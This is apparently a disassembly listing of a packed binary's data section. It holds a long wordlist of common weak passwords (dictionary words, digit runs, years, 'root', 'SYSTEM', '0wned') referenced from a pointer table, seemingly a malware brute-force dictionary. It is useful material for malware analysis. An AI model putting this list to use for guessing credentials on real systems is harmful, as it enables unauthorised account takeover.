aEiderdown	db 'eiderdown',0        ; DATA XREF: .nsp0:0043BD48o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: .nsp0:0043BD4Co
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: .nsp0:0043BD50o
		align 10h
aEstablish	db 'establish',0        ; DATA XREF: .nsp0:0043BD54o
		align 4
aExtension	db 'extension',0        ; DATA XREF: .nsp0:0043BD58o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: .nsp0:0043BD5Co
		align 4
aForesight	db 'foresight',0        ; DATA XREF: .nsp0:0043BD60o
		align 10h
aFun		db 'fun',0              ; DATA XREF: .nsp0:0043BD64o
aGnu		db 'gnu',0              ; DATA XREF: .nsp0:0043BD68o
aHal		db 'hal',0              ; DATA XREF: .nsp0:0043BD6Co
aHappening	db 'happening',0        ; DATA XREF: .nsp0:0043BD70o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .nsp0:0043BD74o
aImbroglio	db 'imbroglio',0        ; DATA XREF: .nsp0:0043BD78o
		align 4
aInnocuous	db 'innocuous',0        ; DATA XREF: .nsp0:0043BD7Co
		align 4
aJen		db 'jen',0              ; DATA XREF: .nsp0:0043BD80o
aJoy		db 'joy',0              ; DATA XREF: .nsp0:0043BD84o
aKey_0		db 'key',0              ; DATA XREF: .nsp0:0043BD88o
aKim		db 'kim',0              ; DATA XREF: .nsp0:0043BD8Co
aLamination	db 'lamination',0       ; DATA XREF: .nsp0:0043BD90o
		align 10h
aLee		db 'lee',0              ; DATA XREF: .nsp0:0043BD94o
aLiz		db 'liz',0              ; DATA XREF: .nsp0:0043BD98o
aMacintosh	db 'macintosh',0        ; DATA XREF: .nsp0:0043BD9Co
		align 4
aMgr		db 'mgr',0              ; DATA XREF: .nsp0:0043BDA0o
aMit		db 'mit',0              ; DATA XREF: .nsp0:0043BDA4o
aNet		db 'net',0              ; DATA XREF: .nsp0:0043BDA8o
aNew		db 'new',0              ; DATA XREF: .nsp0:0043BDACo
aNutrition	db 'nutrition',0        ; DATA XREF: .nsp0:0043BDB0o
		align 10h
aOceanography	db 'oceanography',0     ; DATA XREF: .nsp0:0043BDB4o
		align 10h
aPad		db 'pad',0              ; DATA XREF: .nsp0:0043BDB8o
aPam		db 'pam',0              ; DATA XREF: .nsp0:0043BDBCo
aPercolate	db 'percolate',0        ; DATA XREF: .nsp0:0043BDC0o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: .nsp0:0043BDC4o
		align 10h
aPolynomial	db 'polynomial',0       ; DATA XREF: .nsp0:0043BDC8o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: .nsp0:0043BDCCo
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: .nsp0:0043BDD0o
		align 4
aProfessor	db 'professor',0        ; DATA XREF: .nsp0:0043BDD4o
		align 10h
aPub		db 'pub',0              ; DATA XREF: .nsp0:0043BDD8o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: .nsp0:0043BDDCo
		align 4
aRje		db 'rje',0              ; DATA XREF: .nsp0:0043BDE0o
aRochester	db 'rochester',0        ; DATA XREF: .nsp0:0043BDE4o
		align 4
aSal		db 'sal',0              ; DATA XREF: .nsp0:0043BDE8o
aSheffield	db 'sheffield',0        ; DATA XREF: .nsp0:0043BDECo
		align 4
aSignature	db 'signature',0        ; DATA XREF: .nsp0:0043BDF0o
		align 10h
aStephanie	db 'stephanie',0        ; DATA XREF: .nsp0:0043BDF4o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: .nsp0:0043BDF8o
		align 4
aStuttgart	db 'stuttgart',0        ; DATA XREF: .nsp0:0043BDFCo
		align 4
aSun_0		db 'sun',0              ; DATA XREF: .nsp0:0043BE00o
aSuperstage	db 'superstage',0       ; DATA XREF: .nsp0:0043BE04o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: .nsp0:0043BE08o
		align 10h
aSupported	db 'supported',0        ; DATA XREF: .nsp0:0043BE0Co
		align 4
aSys		db 'sys',0              ; DATA XREF: .nsp0:0043BE10o
aTangerine	db 'tangerine',0        ; DATA XREF: .nsp0:0043BE14o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: .nsp0:0043BE18o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: .nsp0:0043BE1Co
		align 4
aTopography	db 'topography',0       ; DATA XREF: .nsp0:0043BE20o
		align 10h
aTty		db 'tty',0              ; DATA XREF: .nsp0:0043BE24o
aWholesale	db 'wholesale',0        ; DATA XREF: .nsp0:0043BE28o
		align 10h
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: .nsp0:0043BE2Co
		align 10h
aWisconsin	db 'wisconsin',0        ; DATA XREF: .nsp0:0043BE30o
		align 4
aXyz		db 'xyz',0              ; DATA XREF: .nsp0:0043BE34o
aYellowstone	db 'yellowstone',0      ; DATA XREF: .nsp0:0043BE38o
aZap		db 'zap',0              ; DATA XREF: .nsp0:0043BE3Co
aZimmerman	db 'zimmerman',0        ; DATA XREF: .nsp0:0043BE40o
		align 4
asc_44052C:				; DATA XREF: .nsp0:0043BE44o
		unicode	0, <%>,0
asc_440530:				; DATA XREF: .nsp0:0043BE48o
		unicode	0, <!>,0
a@		db '!@',0               ; DATA XREF: .nsp0:0043BE4Co
		align 4
a@_0		db '!@#',0              ; DATA XREF: .nsp0:0043BE50o
a@_1		db '!@#$%',0            ; DATA XREF: .nsp0:0043BE54o
		align 4
a@_2		db '!@#$%^',0           ; DATA XREF: .nsp0:0043BE58o
		align 4
a@_3		db '!@#$%^&',0          ; DATA XREF: .nsp0:0043BE5Co
a@_4		db '!@#$%^&*',0         ; DATA XREF: .nsp0:0043BE60o
		align 10h
asc_440560:				; DATA XREF: .nsp0:0043BE64o
		unicode	0, <#>,0
asc_440564	db '!!',0               ; DATA XREF: .nsp0:0043BE68o
		align 4
off_440568	dd offset loc_402121	; DATA XREF: .nsp0:0043BE6Co
dword_44056C	dd 40h			; DATA XREF: .nsp0:0043BE70o
dword_440570	dd 4040h		; DATA XREF: .nsp0:0043BE74o
dword_440574	dd 2Bh			; DATA XREF: .nsp0:0043BE78o
dword_440578	dd 2B2Bh		; DATA XREF: .nsp0:0043BE7Co
dword_44057C	dd 2B2B2Bh		; DATA XREF: .nsp0:0043BE80o
dword_440580	dd 2B2B2B2Bh, 0		; DATA XREF: .nsp0:0043BE84o
dword_440588	dd 2Dh			; DATA XREF: .nsp0:0043BE88o
dword_44058C	dd 2D2Dh		; DATA XREF: .nsp0:0043BE8Co
dword_440590	dd 2D2Dh		; DATA XREF: .nsp0:0043BE90o
dword_440594	dd 2D2D2D2Dh, 0		; DATA XREF: .nsp0:0043BE94o
dword_44059C	dd 2B2Dh		; DATA XREF: .nsp0:0043BE98o
dword_4405A0	dd 2B2B2D2Dh, 0		; DATA XREF: .nsp0:0043BE9Co
dword_4405A8	dd 302D3Dh		; DATA XREF: .nsp0:0043BEA0o
dword_4405AC	dd 2B393837h, 0		; DATA XREF: .nsp0:0043BEA4o
dword_4405B4	dd 2B363534h, 0		; DATA XREF: .nsp0:0043BEA8o
dword_4405BC	dd 24h			; DATA XREF: .nsp0:0043BEACo
dword_4405C0	dd 2424h		; DATA XREF: .nsp0:0043BEB0o
dword_4405C4	dd 242424h		; DATA XREF: .nsp0:0043BEB4o
dword_4405C8	dd 255E262Ah, 21402324h, 0 ; DATA XREF:	.nsp0:0043BEB8o
dword_4405D4	dd 24255E26h, 214023h	; DATA XREF: .nsp0:0043BEBCo
dword_4405DC	dd 2324255Eh, 2140h	; DATA XREF: .nsp0:0043BEC0o
dword_4405E4	dd 40232425h, 21h	; DATA XREF: .nsp0:0043BEC4o
dword_4405EC	dd 21402324h, 0		; DATA XREF: .nsp0:0043BEC8o
dword_4405F4	dd 214023h		; DATA XREF: .nsp0:0043BECCo
dword_4405F8	dd 2140h		; DATA XREF: .nsp0:0043BED0o
dword_4405FC	dd 30h			; DATA XREF: .nsp0:0043BED4o
dword_440600	dd 3030h		; DATA XREF: .nsp0:0043BED8o
dword_440604	dd 303030h		; DATA XREF: .nsp0:0043BEDCo
a0000_0		db '0000',0             ; DATA XREF: .nsp0:0043BEE0o
		align 10h
a00000_0	db '00000',0            ; DATA XREF: .nsp0:0043BEE4o
		align 4
a000000_0	db '000000',0           ; DATA XREF: .nsp0:0043BEE8o
		align 10h
a00000000_0	db '00000000',0         ; DATA XREF: .nsp0:0043BEECo
		align 4
a000000000	db '000000000',0        ; DATA XREF: .nsp0:0043BEF0o
		align 4
a0000000000	db '0000000000',0       ; DATA XREF: .nsp0:0043BEF4o
		align 4
asc_440644:				; DATA XREF: .nsp0:0043BEF8o
		unicode	0, <*>,0
asc_440648	db '**',0               ; DATA XREF: .nsp0:0043BEFCo
		align 4
asc_44064C	db '***',0              ; DATA XREF: .nsp0:0043BF00o
asc_440650	db '****',0             ; DATA XREF: .nsp0:0043BF04o
		align 4
asc_440658	db '*****',0            ; DATA XREF: .nsp0:0043BF08o
		align 10h
asc_440660	db '******',0           ; DATA XREF: .nsp0:0043BF0Co
		align 4
asc_440668	db '*******',0          ; DATA XREF: .nsp0:0043BF10o
asc_440670	db '********',0         ; DATA XREF: .nsp0:0043BF14o
		align 4
asc_44067C	db '*********',0        ; DATA XREF: .nsp0:0043BF18o
		align 4
a001_0		db '001',0              ; DATA XREF: .nsp0:0043BF1Co
a002		db '002',0              ; DATA XREF: .nsp0:0043BF20o
a003		db '003',0              ; DATA XREF: .nsp0:0043BF24o
a004		db '004',0              ; DATA XREF: .nsp0:0043BF28o
a005_0		db '005',0              ; DATA XREF: .nsp0:0043BF2Co
a006		db '006',0              ; DATA XREF: .nsp0:0043BF30o
a007		db '007',0              ; DATA XREF: .nsp0:0043BF34o
a008		db '008',0              ; DATA XREF: .nsp0:0043BF38o
a009		db '009',0              ; DATA XREF: .nsp0:0043BF3Co
a010		db '010',0              ; DATA XREF: .nsp0:0043BF40o
a0wn3d		db '0wn3d',0            ; DATA XREF: .nsp0:0043BF44o
		align 4
a0wned_0	db '0wned',0            ; DATA XREF: .nsp0:0043BF48o
		align 10h
a1_0:					; DATA XREF: .nsp0:0043BF4Co
		unicode	0, <1>,0
a11		db '11',0               ; DATA XREF: .nsp0:0043BF50o
		align 4
a111_0		db '111',0              ; DATA XREF: .nsp0:0043BF54o
a1111		db '1111',0             ; DATA XREF: .nsp0:0043BF58o
		align 4
a11111		db '11111',0            ; DATA XREF: .nsp0:0043BF5Co
		align 4
a111111		db '111111',0           ; DATA XREF: .nsp0:0043BF60o
		align 4
a1111111	db '1111111',0          ; DATA XREF: .nsp0:0043BF64o
a11111111_0	db '11111111',0         ; DATA XREF: .nsp0:0043BF68o
		align 4
a111111111	db '111111111',0        ; DATA XREF: .nsp0:0043BF6Co
		align 4
a1111111111	db '1111111111',0       ; DATA XREF: .nsp0:0043BF70o
		align 10h
a2:					; DATA XREF: .nsp0:0043BF74o
		unicode	0, <2>,0
a22		db '22',0               ; DATA XREF: .nsp0:0043BF78o
		align 4
a222		db '222',0              ; DATA XREF: .nsp0:0043BF7Co
a2222		db '2222',0             ; DATA XREF: .nsp0:0043BF80o
		align 4
a22222		db '22222',0            ; DATA XREF: .nsp0:0043BF84o
		align 4
a222222		db '222222',0           ; DATA XREF: .nsp0:0043BF88o
		align 4
a2222222	db '2222222',0          ; DATA XREF: .nsp0:0043BF8Co
a22222222	db '22222222',0         ; DATA XREF: .nsp0:0043BF90o
		align 4
a222222222	db '222222222',0        ; DATA XREF: .nsp0:0043BF94o
		align 4
a2222222222	db '2222222222',0       ; DATA XREF: .nsp0:0043BF98o
		align 10h
a3:					; DATA XREF: .nsp0:0043BF9Co
		unicode	0, <3>,0
a33		db '33',0               ; DATA XREF: .nsp0:0043BFA0o
		align 4
a333		db '333',0              ; DATA XREF: .nsp0:0043BFA4o
a3333		db '3333',0             ; DATA XREF: .nsp0:0043BFA8o
		align 4
a33333		db '33333',0            ; DATA XREF: .nsp0:0043BFACo
		align 4
a333333		db '333333',0           ; DATA XREF: .nsp0:0043BFB0o
		align 4
a3333333	db '3333333',0          ; DATA XREF: .nsp0:0043BFB4o
a33333333	db '33333333',0         ; DATA XREF: .nsp0:0043BFB8o
		align 4
a333333333	db '333333333',0        ; DATA XREF: .nsp0:0043BFBCo
		align 4
a3333333333	db '3333333333',0       ; DATA XREF: .nsp0:0043BFC0o
		align 10h
a4:					; DATA XREF: .nsp0:0043BFC4o
		unicode	0, <4>,0
a44		db '44',0               ; DATA XREF: .nsp0:0043BFC8o
		align 4
a444		db '444',0              ; DATA XREF: .nsp0:0043BFCCo
a4444		db '4444',0             ; DATA XREF: .nsp0:0043BFD0o
		align 4
a44444		db '44444',0            ; DATA XREF: .nsp0:0043BFD4o
		align 4
a444444		db '444444',0           ; DATA XREF: .nsp0:0043BFD8o
		align 4
a4444444	db '4444444',0          ; DATA XREF: .nsp0:0043BFDCo
a44444444	db '44444444',0         ; DATA XREF: .nsp0:0043BFE0o
		align 4
a444444444	db '444444444',0        ; DATA XREF: .nsp0:0043BFE4o
		align 4
a4444444444	db '4444444444',0       ; DATA XREF: .nsp0:0043BFE8o
		align 10h
a5:					; DATA XREF: .nsp0:0043BFECo
		unicode	0, <5>,0
a55		db '55',0               ; DATA XREF: .nsp0:0043BFF0o
		align 4
a555		db '555',0              ; DATA XREF: .nsp0:0043BFF4o
a5555		db '5555',0             ; DATA XREF: .nsp0:0043BFF8o
		align 4
a55555		db '55555',0            ; DATA XREF: .nsp0:0043BFFCo
		align 4
a555555		db '555555',0           ; DATA XREF: .nsp0:0043C000o
		align 4
a5555555	db '5555555',0          ; DATA XREF: .nsp0:0043C004o
a55555555	db '55555555',0         ; DATA XREF: .nsp0:0043C008o
		align 4
a555555555	db '555555555',0        ; DATA XREF: .nsp0:0043C00Co
		align 4
a5555555555	db '5555555555',0       ; DATA XREF: .nsp0:0043C010o
		align 10h
a6:					; DATA XREF: .nsp0:0043C014o
		unicode	0, <6>,0
a66		db '66',0               ; DATA XREF: .nsp0:0043C018o
		align 4
a666		db '666',0              ; DATA XREF: .nsp0:0043C01Co
a6666		db '6666',0             ; DATA XREF: .nsp0:0043C020o
		align 4
a66666		db '66666',0            ; DATA XREF: .nsp0:0043C024o
		align 4
a666666		db '666666',0           ; DATA XREF: .nsp0:0043C028o
		align 4
a6666666	db '6666666',0          ; DATA XREF: .nsp0:0043C02Co
a66666666	db '66666666',0         ; DATA XREF: .nsp0:0043C030o
		align 4
a666666666	db '666666666',0        ; DATA XREF: .nsp0:0043C034o
		align 4
a6666666666	db '6666666666',0       ; DATA XREF: .nsp0:0043C038o
		align 10h
a7:					; DATA XREF: .nsp0:0043C03Co
		unicode	0, <7>,0
a77		db '77',0               ; DATA XREF: .nsp0:0043C040o
		align 4
a777		db '777',0              ; DATA XREF: .nsp0:0043C044o
a7777		db '7777',0             ; DATA XREF: .nsp0:0043C048o
		align 4
a77777		db '77777',0            ; DATA XREF: .nsp0:0043C04Co
		align 4
a777777		db '777777',0           ; DATA XREF: .nsp0:0043C050o
		align 4
a7777777	db '7777777',0          ; DATA XREF: .nsp0:0043C054o
a77777777	db '77777777',0         ; DATA XREF: .nsp0:0043C058o
		align 4
a777777777	db '777777777',0        ; DATA XREF: .nsp0:0043C05Co
		align 4
a7777777777	db '7777777777',0       ; DATA XREF: .nsp0:0043C060o
		align 10h
a8:					; DATA XREF: .nsp0:0043C064o
		unicode	0, <8>,0
a88		db '88',0               ; DATA XREF: .nsp0:0043C068o
		align 4
a888		db '888',0              ; DATA XREF: .nsp0:0043C06Co
a8888		db '8888',0             ; DATA XREF: .nsp0:0043C070o
		align 4
a88888		db '88888',0            ; DATA XREF: .nsp0:0043C074o
		align 4
a888888		db '888888',0           ; DATA XREF: .nsp0:0043C078o
		align 4
a8888888	db '8888888',0          ; DATA XREF: .nsp0:0043C07Co
a88888888_0	db '88888888',0         ; DATA XREF: .nsp0:0043C080o
		align 4
a888888888	db '888888888',0        ; DATA XREF: .nsp0:0043C084o
		align 4
a8888888888	db '8888888888',0       ; DATA XREF: .nsp0:0043C088o
		align 10h
a9:					; DATA XREF: .nsp0:0043C08Co
		unicode	0, <9>,0
a99		db '99',0               ; DATA XREF: .nsp0:0043C090o
		align 4
a999		db '999',0              ; DATA XREF: .nsp0:0043C094o
a9999		db '9999',0             ; DATA XREF: .nsp0:0043C098o
		align 4
a99999		db '99999',0            ; DATA XREF: .nsp0:0043C09Co
		align 4
a999999		db '999999',0           ; DATA XREF: .nsp0:0043C0A0o
		align 4
a9999999	db '9999999',0          ; DATA XREF: .nsp0:0043C0A4o
a99999999	db '99999999',0         ; DATA XREF: .nsp0:0043C0A8o
		align 4
a999999999	db '999999999',0        ; DATA XREF: .nsp0:0043C0ACo
		align 4
a9999999999	db '9999999999',0       ; DATA XREF: .nsp0:0043C0B0o
		align 10h
a110		db '110',0              ; DATA XREF: .nsp0:0043C0B4o
a7410		db '7410',0             ; DATA XREF: .nsp0:0043C0B8o
		align 4
a0147		db '0147',0             ; DATA XREF: .nsp0:0043C0BCo
		align 4
a1122		db '1122',0             ; DATA XREF: .nsp0:0043C0C0o
		align 4
a456		db '456',0              ; DATA XREF: .nsp0:0043C0C4o
a654		db '654',0              ; DATA XREF: .nsp0:0043C0C8o
a789		db '789',0              ; DATA XREF: .nsp0:0043C0CCo
a987		db '987',0              ; DATA XREF: .nsp0:0043C0D0o
a8520		db '8520',0             ; DATA XREF: .nsp0:0043C0D4o
		align 4
a0258		db '0258',0             ; DATA XREF: .nsp0:0043C0D8o
		align 4
a1020		db '1020',0             ; DATA XREF: .nsp0:0043C0DCo
		align 4
a12_0		db '12',0               ; DATA XREF: .nsp0:0043C0E0o
		align 4
a121		db '121',0              ; DATA XREF: .nsp0:0043C0E4o
a121212		db '121212',0           ; DATA XREF: .nsp0:0043C0E8o
		align 4
a123_0		db '123',0              ; DATA XREF: .nsp0:0043C0ECo
a123123		db '123123',0           ; DATA XREF: .nsp0:0043C0F0o
		align 10h
a1234_0		db '1234',0             ; DATA XREF: .nsp0:0043C0F4o
		align 4
a12345_0	db '12345',0            ; DATA XREF: .nsp0:0043C0F8o
		align 10h
a123456_0	db '123456',0           ; DATA XREF: .nsp0:0043C0FCo
		align 4
a1234567_0	db '1234567',0          ; DATA XREF: .nsp0:0043C100o
a12345678_0	db '12345678',0         ; DATA XREF: .nsp0:0043C104o
		align 4
a123456789_0	db '123456789',0        ; DATA XREF: .nsp0:0043C108o
		align 4
a12346		db '12346',0            ; DATA XREF: .nsp0:0043C10Co
		align 10h
a123467		db '123467',0           ; DATA XREF: .nsp0:0043C110o
		align 4
a1234678	db '1234678',0          ; DATA XREF: .nsp0:0043C114o
a12346789	db '12346789',0         ; DATA XREF: .nsp0:0043C118o
		align 4
a123467890	db '123467890',0        ; DATA XREF: .nsp0:0043C11Co
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: .nsp0:0043C120o
		align 10h
a1abc		db '1abc',0             ; DATA XREF: .nsp0:0043C124o
		align 4
a1asd		db '1asd',0             ; DATA XREF: .nsp0:0043C128o
		align 10h
a1qwe		db '1qwe',0             ; DATA XREF: .nsp0:0043C12Co
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: .nsp0:0043C130o
		align 10h
a12abc		db '12abc',0            ; DATA XREF: .nsp0:0043C134o
		align 4
a12asd		db '12asd',0            ; DATA XREF: .nsp0:0043C138o
		align 10h
a12qwe		db '12qwe',0            ; DATA XREF: .nsp0:0043C13Co
		align 4
a123qwer	db '123qwer',0          ; DATA XREF: .nsp0:0043C140o
a123abc		db '123abc',0           ; DATA XREF: .nsp0:0043C144o
		align 4
a123asd		db '123asd',0           ; DATA XREF: .nsp0:0043C148o
		align 10h
a123qwe_0	db '123qwe',0           ; DATA XREF: .nsp0:0043C14Co
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: .nsp0:0043C150o
		align 4
a1234abc	db '1234abc',0          ; DATA XREF: .nsp0:0043C154o
a1234asd	db '1234asd',0          ; DATA XREF: .nsp0:0043C158o
a1234qwe	db '1234qwe',0          ; DATA XREF: .nsp0:0043C15Co
a1952		db '1952',0             ; DATA XREF: .nsp0:0043C160o
		align 4
a1953		db '1953',0             ; DATA XREF: .nsp0:0043C164o
		align 4
a1954		db '1954',0             ; DATA XREF: .nsp0:0043C168o
		align 4
a1955		db '1955',0             ; DATA XREF: .nsp0:0043C16Co
		align 4
a1956		db '1956',0             ; DATA XREF: .nsp0:0043C170o
		align 4
a1957		db '1957',0             ; DATA XREF: .nsp0:0043C174o
		align 4
a1958		db '1958',0             ; DATA XREF: .nsp0:0043C178o
		align 4
a1959		db '1959',0             ; DATA XREF: .nsp0:0043C17Co
		align 4
a1960		db '1960',0             ; DATA XREF: .nsp0:0043C180o
		align 4
a1961		db '1961',0             ; DATA XREF: .nsp0:0043C184o
		align 4
a1962		db '1962',0             ; DATA XREF: .nsp0:0043C188o
		align 4
a1963		db '1963',0             ; DATA XREF: .nsp0:0043C18Co
		align 4
a1964		db '1964',0             ; DATA XREF: .nsp0:0043C190o
		align 4
a1965		db '1965',0             ; DATA XREF: .nsp0:0043C194o
		align 4
a1966		db '1966',0             ; DATA XREF: .nsp0:0043C198o
		align 4
a1967		db '1967',0             ; DATA XREF: .nsp0:0043C19Co
		align 4
a1968		db '1968',0             ; DATA XREF: .nsp0:0043C1A0o
		align 4
a1969		db '1969',0             ; DATA XREF: .nsp0:0043C1A4o
		align 4
a1970		db '1970',0             ; DATA XREF: .nsp0:0043C1A8o
		align 4
a1971		db '1971',0             ; DATA XREF: .nsp0:0043C1ACo
		align 4
a1972		db '1972',0             ; DATA XREF: .nsp0:0043C1B0o
		align 4
a1973		db '1973',0             ; DATA XREF: .nsp0:0043C1B4o
		align 4
a1974		db '1974',0             ; DATA XREF: .nsp0:0043C1B8o
		align 4
a1975		db '1975',0             ; DATA XREF: .nsp0:0043C1BCo
		align 4
a1976		db '1976',0             ; DATA XREF: .nsp0:0043C1C0o
		align 4
a1977		db '1977',0             ; DATA XREF: .nsp0:0043C1C4o
		align 4
a1978		db '1978',0             ; DATA XREF: .nsp0:0043C1C8o
		align 4
a1979		db '1979',0             ; DATA XREF: .nsp0:0043C1CCo
		align 4
a1980		db '1980',0             ; DATA XREF: .nsp0:0043C1D0o
		align 4
a1981		db '1981',0             ; DATA XREF: .nsp0:0043C1D4o
		align 4
a1982		db '1982',0             ; DATA XREF: .nsp0:0043C1D8o
		align 4
a1983		db '1983',0             ; DATA XREF: .nsp0:0043C1DCo
		align 4
a1984		db '1984',0             ; DATA XREF: .nsp0:0043C1E0o
		align 4
a1985		db '1985',0             ; DATA XREF: .nsp0:0043C1E4o
		align 4
a1986		db '1986',0             ; DATA XREF: .nsp0:0043C1E8o
		align 4
a1987		db '1987',0             ; DATA XREF: .nsp0:0043C1ECo
		align 4
a1988		db '1988',0             ; DATA XREF: .nsp0:0043C1F0o
		align 4
a1989		db '1989',0             ; DATA XREF: .nsp0:0043C1F4o
		align 4
a1990		db '1990',0             ; DATA XREF: .nsp0:0043C1F8o
		align 4
a1991		db '1991',0             ; DATA XREF: .nsp0:0043C1FCo
		align 4
a1992		db '1992',0             ; DATA XREF: .nsp0:0043C200o
		align 4
a1993		db '1993',0             ; DATA XREF: .nsp0:0043C204o
		align 4
a1994		db '1994',0             ; DATA XREF: .nsp0:0043C208o
		align 4
a1995		db '1995',0             ; DATA XREF: .nsp0:0043C20Co
		align 4
a1996		db '1996',0             ; DATA XREF: .nsp0:0043C210o
		align 4
a1997		db '1997',0             ; DATA XREF: .nsp0:0043C214o
		align 4
a1998		db '1998',0             ; DATA XREF: .nsp0:0043C218o
		align 4
a1999		db '1999',0             ; DATA XREF: .nsp0:0043C21Co
		align 4
a2000		db '2000',0             ; DATA XREF: .nsp0:0043C220o
		align 4
a2001		db '2001',0             ; DATA XREF: .nsp0:0043C224o
		align 4
a2002		db '2002',0             ; DATA XREF: .nsp0:0043C228o
		align 4
a2003_0		db '2003',0             ; DATA XREF: .nsp0:0043C22Co
		align 4
a2004		db '2004',0             ; DATA XREF: .nsp0:0043C230o
		align 4
a2005		db '2005',0             ; DATA XREF: .nsp0:0043C234o
		align 4
a2006		db '2006',0             ; DATA XREF: .nsp0:0043C238o
		align 4
a2600		db '2600',0             ; DATA XREF: .nsp0:0043C23Co
		align 4
a321		db '321',0              ; DATA XREF: .nsp0:0043C240o
a4321		db '4321',0             ; DATA XREF: .nsp0:0043C244o
		align 4
a54321_0	db '54321',0            ; DATA XREF: .nsp0:0043C248o
		align 10h
a654321_0	db '654321',0           ; DATA XREF: .nsp0:0043C24Co
		align 4
a7654321	db '7654321',0          ; DATA XREF: .nsp0:0043C250o
aSony		db 'sony',0             ; DATA XREF: .nsp0:0043C254o
		align 4
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: .nsp0:0043C258o
aSamsung	db 'samsung',0          ; DATA XREF: .nsp0:0043C25Co
aSony_0		db 'SONY',0             ; DATA XREF: .nsp0:0043C260o
		align 10h
aMaster_0	db 'MASTER',0           ; DATA XREF: .nsp0:0043C264o
		align 4
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: .nsp0:0043C268o
		align 4
aDisc		db 'DISC',0             ; DATA XREF: .nsp0:0043C26Co
		align 4
aCreative	db 'CREATIVE',0         ; DATA XREF: .nsp0:0043C270o
		align 4
aSex_0		db 'SEX',0              ; DATA XREF: .nsp0:0043C274o
aNokia		db 'NOKIA',0            ; DATA XREF: .nsp0:0043C278o
		align 4
aXp		db 'XP',0               ; DATA XREF: .nsp0:0043C27Co
		align 4
aA_1:					; DATA XREF: .nsp0:0043C280o
		unicode	0, <a>,0
aAa_0		db 'aa',0               ; DATA XREF: .nsp0:0043C284o
		align 10h
aAaa		db 'aaa',0              ; DATA XREF: .nsp0:0043C288o
aAaaa		db 'aaaa',0             ; DATA XREF: .nsp0:0043C28Co
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: .nsp0:0043C290o
		align 4
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: .nsp0:0043C294o
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: .nsp0:0043C298o
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: .nsp0:0043C29Co
		align 10h
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: .nsp0:0043C2A0o
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: .nsp0:0043C2A4o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .nsp0:0043C2A8o
		align 4
aQw		db 'qw',0               ; DATA XREF: .nsp0:0043C2ACo
		align 4
aQwe		db 'qwe',0              ; DATA XREF: .nsp0:0043C2B0o
aQwer		db 'qwer',0             ; DATA XREF: .nsp0:0043C2B4o
		align 4
aQwert_0	db 'qwert',0            ; DATA XREF: .nsp0:0043C2B8o
		align 4
aQwerty_0	db 'qwerty',0           ; DATA XREF: .nsp0:0043C2BCo
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: .nsp0:0043C2C0o
aQwertyui	db 'qwertyui',0         ; DATA XREF: .nsp0:0043C2C4o
		align 4
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: .nsp0:0043C2C8o
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: .nsp0:0043C2CCo
		align 10h
aRoot_2		db 'root',0             ; DATA XREF: .nsp0:0043C2D0o
		align 4
aServer_5	db 'server',0           ; DATA XREF: .nsp0:0043C2D4o
		align 10h
aService	db 'service',0          ; DATA XREF: .nsp0:0043C2D8o
aServers	db 'servers',0          ; DATA XREF: .nsp0:0043C2DCo
aServices	db 'services',0         ; DATA XREF: .nsp0:0043C2E0o
		align 4
aSystem		db 'system',0           ; DATA XREF: .nsp0:0043C2E4o
		align 4
aSystem_2	db 'SYSTEM',0           ; DATA XREF: .nsp0:0043C2E8o
		align 4
off_440DFC	dd offset byte_494843	; DATA XREF: .nsp0:0043C2ECo
dword_440E00	dd 696863h		; DATA XREF: .nsp0:0043C2F0o
dword_440E04	dd 726F6Bh		; DATA XREF: .nsp0:0043C2F4o
aTiger_0	db 'tiger',0            ; DATA XREF: .nsp0:0043C2F8o
		align 10h
aKor		db 'KOR',0              ; DATA XREF: .nsp0:0043C2FCo
aToyota_0	db 'TOYOTA',0           ; DATA XREF: .nsp0:0043C300o
		align 4
aToyota_1	db 'toyota',0           ; DATA XREF: .nsp0:0043C304o
		align 4
asc_440E24:				; DATA XREF: .nsp0:0043C308o
		unicode	0, <x>,0
aXx_2		db 'xx',0               ; DATA XREF: .nsp0:0043C30Co
		align 4
aXxx_0		db 'xxx',0              ; DATA XREF: .nsp0:0043C310o
aXxxx_0		db 'xxxx',0             ; DATA XREF: .nsp0:0043C314o
		align 4
aXxxxx_0	db 'xxxxx',0            ; DATA XREF: .nsp0:0043C318o
		align 10h
aXxxxxx_0	db 'xxxxxx',0           ; DATA XREF: .nsp0:0043C31Co
		align 4
aXxxxxxx_0	db 'xxxxxxx',0          ; DATA XREF: .nsp0:0043C320o
aXxxxxxxx_0	db 'xxxxxxxx',0         ; DATA XREF: .nsp0:0043C324o
		align 4
aXxxxxxxxx_0	db 'xxxxxxxxx',0        ; DATA XREF: .nsp0:0043C328o
		align 4
aXyz_0		db 'xyz',0              ; DATA XREF: .nsp0:0043C32Co
aYaco_0		db 'yaco',0             ; DATA XREF: .nsp0:0043C330o
		align 4
aYang_0		db 'yang',0             ; DATA XREF: .nsp0:0043C334o
		align 4
aKonyang	db 'konyang',0          ; DATA XREF: .nsp0:0043C338o
aZ:					; DATA XREF: .nsp0:0043C33Co
		unicode	0, <z>,0
aZx		db 'zx',0               ; DATA XREF: .nsp0:0043C340o
		align 4
